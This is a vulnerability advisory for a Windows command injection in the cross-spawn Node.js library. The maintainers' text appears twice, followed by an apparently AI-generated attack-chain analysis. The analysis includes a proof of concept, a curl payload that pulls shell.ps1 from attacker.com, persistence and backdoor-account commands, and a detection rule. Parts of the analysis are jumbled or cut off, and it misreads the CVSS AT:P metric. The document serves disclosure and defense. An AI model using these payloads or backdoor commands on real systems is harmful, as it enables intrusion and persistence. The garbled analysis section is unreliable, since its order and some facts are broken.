CVE-2026-137199 — Cross-spawn — CWE-78
### Impact On Windows, `cross-spawn` runs commands that aren't executables (`.exe` or `.com`), such as batch files (`.bat` or `.cmd`), through `cmd.exe`, and escapes the command and its arguments for it. A batch file that forwards its arguments, e.g. with `%*`, makes `cmd.exe` parse them a second time. `cross-spawn` only accounted for that second parse when the batch file was an npm cmd-shim located in `node_modules/.bin`. For any other batch file, such as `npm.cmd`, globally installed package shims or user batch files, a crafted argument could break out of its quotes and run arbitrary commands: ```js const spawn = require('cross-spawn'); // Runs calc.exe on Windows spawn.sync('npm', ['" & calc & "']); ``` The following were also affected: - Batch file detection could be bypassed with trailing dots or spaces in the command name (e.g. `tool.bat `), which Windows strips, similar to Node.js' CVE-2024-36138. - `%VAR%` in an argument was expanded if an environment variable named `VAR^` existed. - `!VAR!` in an argument was expanded if delayed expansion was enabled in the registry. Applications are affected if they pass untrusted input as arguments to a command that runs through `cmd.exe` on Windows. Other platforms aren't affected, and neither is `options.shell`, which doesn't escape the command or its arguments by design. ### Patches This is fixed in `7.1.0` and `6.0.7`. Batch file arguments are now escaped with double quotes, like Rust does since the BatBadBut vulnerability (CVE-2024-24576), `%` is neutralized, `cmd.exe` runs with `/e:on /v:off`, batch files are detected after stripping trailing dots and spaces, and line breaks, which `cmd.exe` can't escape, are rejected with a `TypeError`. Some limitations can't be fixed by any escaping, such as batch files that use `%~1` unquoted. Please see the "Windows argument escaping" section of the README. ### Workarounds Validate untrusted input so that only a safe subset is allowed, and call executables directly rather than through batch files. ### Credits Thanks to Duong Bui Thai ([LinkedIn](https://www.linkedin.com/in/thaiducng/)) for privately reporting the quote breakout through batch files outside `node_modules/.bin` and the `!VAR!` expansion under delayed expansion, and to @mohd-akram for publicly reporting the batch file injection in #171.
### Impact On Windows, `cross-spawn` runs commands that aren't executables (`.exe` or `.com`), such as batch files (`.bat` or `.cmd`), through `cmd.exe`, and escapes the command and its arguments for it. A batch file that forwards its arguments, e.g. with `%*`, makes `cmd.exe` parse them a second time. `cross-spawn` only accounted for that second parse when the batch file was an npm cmd-shim located in `node_modules/.bin`. For any other batch file, such as `npm.cmd`, globally installed package shims or user batch files, a crafted argument could break out of its quotes and run arbitrary commands: ```js const spawn = require('cross-spawn'); // Runs calc.exe on Windows spawn.sync('npm', ['" & calc & "']); ``` The following were also affected: - Batch file detection could be bypassed with trailing dots or spaces in the command name (e.g. `tool.bat `), which Windows strips, similar to Node.js' CVE-2024-36138. - `%VAR%` in an argument was expanded if an environment variable named `VAR^` existed. - `!VAR!` in an argument was expanded if delayed expansion was enabled in the registry. Applications are affected if they pass untrusted input as arguments to a command that runs through `cmd.exe` on Windows. Other platforms aren't affected, and neither is `options.shell`, which doesn't escape the command or its arguments by design. ### Patches This is fixed in `7.1.0` and `6.0.7`. Batch file arguments are now escaped with double quotes, like Rust does since the BatBadBut vulnerability (CVE-2024-24576), `%` is neutralized, `cmd.exe` runs with `/e:on /v:off`, batch files are detected after stripping trailing dots and spaces, and line breaks, which `cmd.exe` can't escape, are rejected with a `TypeError`. Some limitations can't be fixed by any escaping, such as batch files that use `%~1` unquoted. Please see the "Windows argument escaping" section of the README. ### Workarounds Validate untrusted input so that only a safe subset is allowed, and call executables directly rather than through batch files. ### Credits Thanks to Duong Bui Thai ([LinkedIn](https://www.linkedin.com/in/thaiducng/)) for privately reporting the quote breakout through batch files outside `node_modules/.bin` and the `!VAR!` expansion under delayed expansion, and to @mohd-akram for publicly reporting the batch file injection in #171.
🎯 What is this vulnerability?
CVE-2026-137199 is a Command Injection (CWE-78) vulnerability in the cross-spawn library, a widely used Node.js package for cross-platform process spawning.
The core technical flaw lies in incomplete sanitization of arguments passed to cmd.exe on Windows. Specifically, cross-spawn fails to account for the secondary parsing phase that occurs when cmd.exe executes a batch file (.bat or .cmd).
1. Primary Parse: When cross-spawn invokes a command, it escapes arguments to prevent direct injection into the initial cmd.exe call.
2. Secondary Parse (The Bypass): If the target command is a shim (e.g., npm.cmd, npx.cmd, or a globally installed package's .cmd file), cmd.exe executes that batch file. The batch file then forwards the arguments to the actual executable (e.g., node.exe). During this forwarding, cmd.exe performs a second parse of the arguments.
3. The Flaw: cross-spawn's escaping logic did not neutralize characters that remain dangerous during this second parse. Specifically:
* Quote Breakout: Crafted arguments can break out of the quoting context established by the batch file, allowing injection of new commands.
* Variable Expansion Bypass:
* Percent Variables (%VAR%): If an argument contains %VAR% and an environment variable named VAR^ (with a trailing caret) exists, cmd.exe may expand it unexpectedly.
* Exclamation Variables (!VAR!): If delayed expansion is enabled (via registry or setlocal enabledelayedexpansion), !VAR! in arguments can be expanded, leading to injection.
* Detection Bypass: Trailing dots or spaces in filenames can bypass cross-spawn's internal check for whether a file is a batch file, causing it to apply incorrect escaping logic.
CVSS 4.0 Vector Analysis:
- AV:N / PR:N / UI:N: Network-exploitable, no authentication required, no user interaction.
- AC:H / AT:P: High complexity due to the specific Windows parsing quirks and the need to bypass detection heuristics. AT:P (Attack Target: Privileged) indicates the target system likely runs with elevated privileges (common for CI/CD runners, build servers, or admin-managed Node.js services).
- VC:H / VI:H / VA:H: High impact on Confidentiality, Integrity, and Availability of the vulnerable system.
- Fingerprinting: Identify Node.js applications running on Windows. Look for: *
- Version Check: Determine the version of
cross-spawnin use. This can be done by:
* Inspecting
⚡ Attack Chain
1. Discovery & Reconnaissance
package.json files in web-accessible directories (if misconfigured).
* Error messages revealing Node.js stack traces.
* Use of npm, npx, or globally installed CLI tools in server-side scripts.
node_modules/cross-spawn/package.json if accessible.
* Triggering verbose error logs that might reveal dependency versions.
* Assuming older versions (< 6.0.7 or < 7.1.0) are vulnerable if the application was deployed before the fix date.2. Exploitation
The attacker must inject a payload into an argument that is passed to a command executed viacross-spawn on Windows. The command must be a .cmd or .bat file (e.g., npm, npx, or a custom script).Illustrative Scenario:
A Node.js application uses cross-spawn to run npm install <user-input> or npx <user-input>. The attacker controls the <user-input>.
Payload Construction (Windows cmd.exe Quirks):
To break out of the batch file's argument context, the attacker can use a combination of quotes and special characters. A common technique involves using & or | after breaking out of the quote.
Example Payload (Illustrative):
" & whoami & "However, due to the secondary parse, a more robust payload might leverage variable expansion or specific quote handling. For instance, if the batch file wraps arguments in quotes, the attacker can inject a closing quote, a command separator, and a new command.
Realistic PoC (Hypothetical Endpoint):
Assume a vulnerable endpoint /run-script that takes a script parameter and executes npx <script>.
# Attacker sends a crafted argument
curl -X POST "http://target.com/run-script" \
-H "Content-Type: application/json" \
-d '{"script": "\" & curl http://attacker.com/shell.ps1 -o C:\\temp\\shell.ps1 & \""}'Mechanism:
1. cross-spawn escapes the argument, but fails to neutralize the & in the context of the secondary parse.
2. cmd.exe executes npx.cmd.
3. npx.cmd forwards the argument to node.exe.
4. During forwarding, cmd.exe parses the argument again. The & is interpreted as a command separator.
5. whoami (or curl) is executed with the privileges of the Node.js process.
Alternative Bypass (Trailing Dot/Space):
If cross-spawn detects a batch file by checking the extension, an attacker might use a filename like malicious.cmd. (trailing dot) or malicious.cmd (trailing space) to bypass detection, causing cross-spawn to apply non-batch escaping, which is then vulnerable to injection.
3. Post-Exploitation
SYSTEM or Administrator (common in CI/CD or service contexts), the attacker gains full control.schtasks /create /tn "Backdoor" /tr "powershell -enc <base64>" /sc minute /mo 1
* Add a new user: net user backdoor P@ssw0rd /add
* Modify node_modules to include a malicious post-install script.
🌍 Real World Impact
Practical Consequences:
cross-spawn to run user-provided scripts or dependencies, an attacker can compromise the entire build pipeline, injecting malicious code into all subsequent builds.cross-spawn is a dependency of many popular packages (e.g., npm, npx, jest, mocha), the impact is widespread. A single vulnerable dependency can compromise the entire application.🛡️ Remediation & Mitigation
1. Upgrade (Primary Fix)
cross-spawn < 6.0.7 and < 7.1.0.cross-spawn 6.0.7 and 7.1.0.npm install cross-spawn@latest
# Or for specific major versions:
npm install [email protected]
npm install [email protected]Note: Ensure all transitive dependencies are updated. Use npm audit to verify.
2. Workarounds (If Upgrade is Not Immediately Possible)
cross-spawn or child_process.spawn on Windows.node.exe Directly: Instead of invoking .cmd shims, invoke the underlying node.exe executable directly with the script path as an argument. This bypasses the batch file secondary parse.// Instead of:
// crossSpawn('npm', ['install', userInput]);
// Use:
const nodePath = process.execPath; // Points to node.exe
crossSpawn(nodePath, [path.join('node_modules', '.bin', 'npm'), 'install', userInput]);Note: This requires careful path resolution and may not work for all tools.
!VAR! expansion vector.setlocal disabledelayedexpansion%VAR% expansion.3. Detection
&, |, >, <, or quotes in arguments.
* Execution of whoami, net user, schtasks, or powershell from Node.js processes.
.exe, .ps1, or .bat files in temporary directories (C:\temp, C:\Users\...\AppData\Local\Temp).
* Modification of node_modules directories.
rule CrossSpawn_Injection_Pattern {
strings:
$cmd_inject = /&\s*(whoami|net|schtasks|powershell|curl|wget)/i
$var_expand = /%[A-Z_]+%|![A-Z_]+!/
condition:
any of them
}⚠️ Urgency
cross-spawn to 6.0.7 or 7.1.0 in all production environments.
* Short-Term: If upgrade is not possible, implement workarounds (direct node.exe invocation, disable delayed expansion) and enhance monitoring.
* Long-Term: Audit all Node.js applications for use of cross-spawn or child_process with user-controlled input on Windows. Implement strict input validation and avoid executing external commands when possible.Note: This vulnerability is particularly dangerous in CI/CD pipelines and build servers, where Node.js processes often run with elevated privileges and execute untrusted code. Prioritize patching these environments first.
[🤖 CVE Professor AI Security Engine]